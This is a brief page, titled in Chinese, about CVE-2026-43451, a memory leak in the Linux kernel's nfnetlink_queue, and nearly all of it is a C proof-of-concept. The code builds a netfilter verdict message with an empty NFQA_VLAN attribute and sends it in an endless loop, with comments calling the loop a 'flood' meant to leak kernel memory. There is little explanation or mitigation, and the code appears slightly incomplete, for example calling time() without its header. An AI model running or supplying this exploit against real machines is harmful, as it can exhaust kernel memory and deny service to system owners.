CVE-2026-43451 Linux内核netfilter内存泄漏漏洞

/* * PoC for CVE-2026-43451: Memory Leak in nfnetlink_queue * This code attempts to trigger the leak by sending a malformed verdict * with NFQA_VLAN present but NFQA_VLAN_TCI missing. * Compile: gcc -o poc_cve2026_43451 poc_cve2026_43451.c -lmnl */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <libmnl/libmnl.h> #include <linux/netfilter/nfnetlink_queue.h> #include <linux/netfilter/nfnetlink.h> #define NLMSG_TAIL(nlh) ((struct nlattr *)(((void *)(nlh)) + NLMSG_ALIGN((nlh)->nlmsg_len))) int main() { struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct nlattr *nest; uint32_t portid, seq; int ret; nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); } portid = mnl_socket_get_portid(nl); seq = time(NULL); // Construct Netlink Message nlh = mnl_nlmsg_put_header(buf); nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = seq; // Add NFQA_VLAN attribute without NFQA_VLAN_TCI to trigger the bug nest = mnl_attr_nest_start(nlh, NFQA_VLAN); // Intentionally missing NFQA_VLAN_TCI here mnl_attr_nest_end(nlh, nest); // Add Verdict Header (dummy id) struct nfqnl_msg_verdict_hdr vh = { .id = 1, .verdict = NF_DROP }; mnl_attr_put(nlh, NFQA_VERDICT_HDR, sizeof(vh), &vh); // Send the malicious packet repeatedly printf("[+] Sending malformed packets to trigger memory leak...\n"); while(1) { if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("mnl_socket_sendto"); break; } usleep(1000); // Short delay to flood } mnl_socket_close(nl); return 0; }